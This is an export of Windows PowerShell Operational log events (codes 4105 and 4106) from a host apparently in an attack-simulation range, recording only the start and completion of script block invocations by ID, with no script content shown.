09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047679
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047674
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047673
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047651
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047649
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047648
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
